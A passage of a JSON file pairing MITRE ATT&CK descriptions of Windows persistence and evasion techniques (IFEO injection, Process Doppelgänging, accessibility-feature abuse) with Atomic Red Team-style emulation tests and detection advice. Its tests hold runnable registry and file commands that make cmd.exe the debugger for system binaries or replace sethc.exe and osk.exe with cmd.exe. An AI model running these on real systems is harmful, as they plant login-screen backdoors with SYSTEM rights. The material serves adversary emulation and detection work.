- "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/",
- "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.",
- "source_name": "Microsoft Dev Blog IFEO Mar 2010"
- },
- {
- "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview",
- "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.",
- "source_name": "Microsoft GFlags Mar 2017"
- },
- {
- "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit",
- "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.",
- "source_name": "Microsoft Silent Process Exit NOV 2017"
- },
- {
- "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/",
- "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.",
- "source_name": "Oddvar Moe IFEO APR 2018"
- },
- {
- "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/",
- "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.",
- "source_name": "Tilbury 2014"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml",
- "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.",
- "source_name": "FSecure Hupigon"
- },
- {
- "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2",
- "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.",
- "source_name": "Symantec Ushedix June 2008"
- }
- ],
- "modified": "2020-11-10T18:29:31.112Z",
- "name": "Event Triggered Execution: Image File Execution Options Injection",
- "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., C:\\dbg\\ntsd.exe -g notepad.exe
). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger
values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\
where <executable>
is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\
. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS
and DEBUG_ONLY_THIS_PROCESS
. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx
and RegSetValueEx
. (Citation: Elastic Process Injection July 2017)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1546.012"
- },
- "atomic_tests": [
- {
- "name": "IFEO Add Debugger",
- "auto_generated_guid": "fdda2626-5234-4c90-b163-60849a24c0b8",
- "description": "Leverage Global Flags Settings\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "target_binary": {
- "description": "Binary To Attach To",
- "type": "path",
- "default": "calc.exe"
- },
- "payload_binary": {
- "description": "Binary To Execute",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{target_binary}\" /v Debugger /d \"#{payload_binary}\"\n",
- "cleanup_command": "reg delete \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{target_binary}\" /v Debugger /f >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "IFEO Global Flags",
- "auto_generated_guid": "46b1f278-c8ee-4aa5-acce-65e77b11f3c1",
- "description": "Leverage Global Flags Settings\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "target_binary": {
- "description": "Binary To Attach To",
- "type": "path",
- "default": "notepad.exe"
- },
- "payload_binary": {
- "description": "Binary To Execute",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{target_binary}\" /v GlobalFlag /t REG_DWORD /d 512\nREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{target_binary}\" /v ReportingMode /t REG_DWORD /d 1\nREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{target_binary}\" /v MonitorProcess /d \"#{payload_binary}\"\n",
- "cleanup_command": "reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{target_binary}\" /v GlobalFlag /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{target_binary}\" /v ReportingMode /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{target_binary}\" /v MonitorProcess /f >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "GlobalFlags in Image File Execution Options",
- "auto_generated_guid": "13117939-c9b2-4a43-999e-0a543df92f0d",
- "description": "The following Atomic Test will create a GlobalFlag key under Image File Execution Options, also a SilentProcessExit Key with ReportingMode and MonitorProcess values. This test is similar to a recent CanaryToken that will generate an EventCode 3000 in the Application log when a command, whoami.exe for example, is executed.\nUpon running Whoami.exe, a command shell will spawn and start calc.exe based on the MonitorProcess value. \nUpon successful execution, powershell will modify the registry and spawn calc.exe. An event 3000 will generate in the Application log.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "process": {
- "description": "Process to monitor\n",
- "type": "string",
- "default": "whoami.exe"
- },
- "cmd_to_run": {
- "description": "Command to execute\n",
- "type": "string",
- "default": "cmd.exe /c calc.exe"
- }
- },
- "executor": {
- "command": "$Name = \"GlobalFlag\"\n$Value = \"512\"\n$registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{process}\"\nNew-Item -Path $registryPath -Force\nNew-ItemProperty -Path $registryPath -Name $Name -Value $Value -PropertyType DWord -Force\n$Name = \"ReportingMode\"\n$Value = \"1\"\n$SilentProcessExit = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{process}\"\nNew-Item -Path $SilentProcessExit -Force\nNew-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType DWord -Force \n\n$Name = \"MonitorProcess\"\n$Value = \"#{cmd_to_run}\"\nNew-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType String -Force\nStart-Process whoami.exe\n",
- "cleanup_command": "$SilentProcessExit = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{process}\" \nRemove-Item $SilentProcessExit -force\n$registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{process}\"\nRemove-Item $registryPath -force\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1055.013": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197",
- "type": "attack-pattern",
- "created": "2020-01-14T17:19:50.978Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.013",
- "url": "https://attack.mitre.org/techniques/T1055/013"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx",
- "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.",
- "source_name": "Microsoft TxF"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx",
- "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.",
- "source_name": "Microsoft Basic TxF Concepts"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx",
- "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.",
- "source_name": "Microsoft Where to use TxF"
- },
- {
- "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf",
- "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.",
- "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017"
- },
- {
- "url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/",
- "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.",
- "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx",
- "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.",
- "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine"
- }
- ],
- "modified": "2021-02-09T15:43:48.848Z",
- "name": "Process Doppelg\u00e4nging",
- "description": "Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection
, VirtualProtectEx
, and SetThreadContext
. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor and analyze calls to CreateTransaction
, CreateFileTransacted
, RollbackTransaction
, and other rarely used functions indicative of TxF activity. Process Doppelg\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx
and NtCreateThreadEx
as well as API calls used to modify memory within another process, such as WriteProcessMemory
. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "File: File Metadata"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Application control"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM",
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1574.005": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Travis Smith, Tripwire",
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--70d81154-b187-45f9-8ec5-295d01255979",
- "type": "attack-pattern",
- "created": "2020-03-13T11:12:18.558Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.005",
- "url": "https://attack.mitre.org/techniques/T1574/005"
- },
- {
- "source_name": "mozilla_sec_adv_2012",
- "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/",
- "description": "Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017."
- },
- {
- "source_name": "Executable Installers are Vulnerable",
- "url": "https://seclists.org/fulldisclosure/2015/Dec/34",
- "description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014."
- }
- ],
- "modified": "2020-03-26T19:20:23.030Z",
- "name": "Executable Installer File Permissions Weakness",
- "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP%
directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification",
- "File: File Creation",
- "Service: Service Metadata",
- "Module: Module Load",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_effective_permissions": [
- "Administrator",
- "User",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1546.008": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Paul Speulstra, AECOM Global Security Operations Center"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
- "type": "attack-pattern",
- "created": "2020-01-24T14:32:40.315Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.008",
- "url": "https://attack.mitre.org/techniques/T1546/008"
- },
- {
- "external_id": "CAPEC-558",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/558.html"
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html",
- "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.",
- "source_name": "FireEye Hikit Rootkit"
- },
- {
- "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom",
- "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.",
- "source_name": "DEFCON2016 Sticky Keys"
- },
- {
- "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/",
- "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.",
- "source_name": "Tilbury 2014"
- },
- {
- "source_name": "Narrator Accessibility Abuse",
- "url": "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html",
- "description": "Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020."
- }
- ],
- "modified": "2020-05-13T20:37:30.048Z",
- "name": "Event Triggered Execution: Accessibility Features",
- "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe
, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe
, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\
, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe
) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe
\n* Magnifier: C:\\Windows\\System32\\Magnify.exe
\n* Narrator: C:\\Windows\\System32\\Narrator.exe
\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe
\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe
",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options
.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "File: File Creation",
- "Process: Process Creation",
- "Command: Command Execution",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM"
- ],
- "identifier": "T1546.008"
- },
- "atomic_tests": [
- {
- "name": "Attaches Command Prompt as a Debugger to a List of Target Processes",
- "auto_generated_guid": "3309f53e-b22b-4eb6-8fd2-a6cf58b355a9",
- "description": "Attaches cmd.exe to a list of processes. Configure your own Input arguments to a different executable or list of executables.\nUpon successful execution, powershell will modify the registry and swap osk.exe with cmd.exe.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "parent_list": {
- "description": "Comma separated list of system binaries to which you want to attach each #{attached_process}. Default: \"osk.exe\"\n",
- "type": "string",
- "default": "osk.exe, sethc.exe, utilman.exe, magnify.exe, narrator.exe, DisplaySwitch.exe, atbroker.exe"
- },
- "attached_process": {
- "description": "Full path to process to attach to target in #{parent_list}. Default: cmd.exe\n",
- "type": "path",
- "default": "C:\\windows\\system32\\cmd.exe"
- }
- },
- "executor": {
- "command": "$input_table = \"#{parent_list}\".split(\",\")\n$Name = \"Debugger\"\n$Value = \"#{attached_process}\"\nForeach ($item in $input_table){\n $item = $item.trim()\n $registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\$item\"\n IF(!(Test-Path $registryPath))\n {\n New-Item -Path $registryPath -Force\n New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force\n }\n ELSE\n {\n New-ItemProperty -Path $registryPath -Name $name -Value $Value\n }\n}\n",
- "cleanup_command": "$input_table = \"#{parent_list}\".split(\",\")\nForeach ($item in $input_table)\n{\n $item = $item.trim()\n reg delete \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\$item\" /v Debugger /f 2>&1 | Out-Null\n}\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Replace binary of sticky keys",
- "auto_generated_guid": "934e90cf-29ca-48b3-863c-411737ad44e3",
- "description": "Replace sticky keys binary (sethc.exe) with cmd.exe\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "IF NOT EXIST C:\\Windows\\System32\\sethc_backup.exe (copy C:\\Windows\\System32\\sethc.exe C:\\Windows\\System32\\sethc_backup.exe) ELSE ( pushd )\ntakeown /F C:\\Windows\\System32\\sethc.exe /A\nicacls C:\\Windows\\System32\\sethc.exe /grant Administrators:F /t\ncopy /Y C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\sethc.exe\n",
- "cleanup_command": "copy /Y C:\\Windows\\System32\\sethc_backup.exe C:\\Windows\\System32\\sethc.exe\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Create Symbolic Link From osk.exe to cmd.exe",
- "auto_generated_guid": "51ef369c-5e87-4f33-88cd-6d61be63edf2",
- "description": "Replace accessiblity executable with cmd.exe to provide elevated command prompt from login screen without logging in.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "IF NOT EXIST %windir%\\System32\\osk.exe.bak (copy %windir%\\System32\\osk.exe %windir%\\System32\\osk.exe.bak) ELSE ( pushd )\ntakeown /F %windir%\\System32\\osk.exe /A\nicacls %windir%\\System32\\osk.exe /grant Administrators:F /t\ndel %windir%\\System32\\osk.exe\nmklink %windir%\\System32\\osk.exe %windir%\\System32\\cmd.exe\n",
- "cleanup_command": "takeown /F %windir%\\System32\\osk.exe /A\nicacls %windir%\\System32\\osk.exe /grant Administrators:F /t\ndel %windir%\\System32\\osk.exe\ncopy /Y %windir%\\System32\\osk.exe.bak %windir%\\System32\\osk.exe\nicacls %windir%\\system32\\osk.exe /inheritance:d\nicacls %windir%\\system32\\osk.exe /setowner \"NT SERVICE\\TrustedInstaller\"\nicacls %windir%\\System32\\osk.exe /grant \"NT SERVICE\\TrustedInstaller\":F /t\nicacls %windir%\\system32\\osk.exe /grant:r SYSTEM:RX\nicacls %windir%\\system32\\osk.exe /grant:r Administrators:RX\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1504": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Allen DeRyke, ICE"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a",
- "type": "attack-pattern",
- "created": "2019-06-14T18:53:49.472Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1504",
- "url": "https://attack.mitre.org/techniques/T1504"
- },
- {
- "source_name": "Microsoft About Profiles",
- "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6",
- "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019."
- },
- {
- "source_name": "ESET Turla PowerShell May 2019",
- "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/",
- "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."
- },
- {
- "source_name": "Wits End and Shady PowerShell Profiles",
- "url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html",
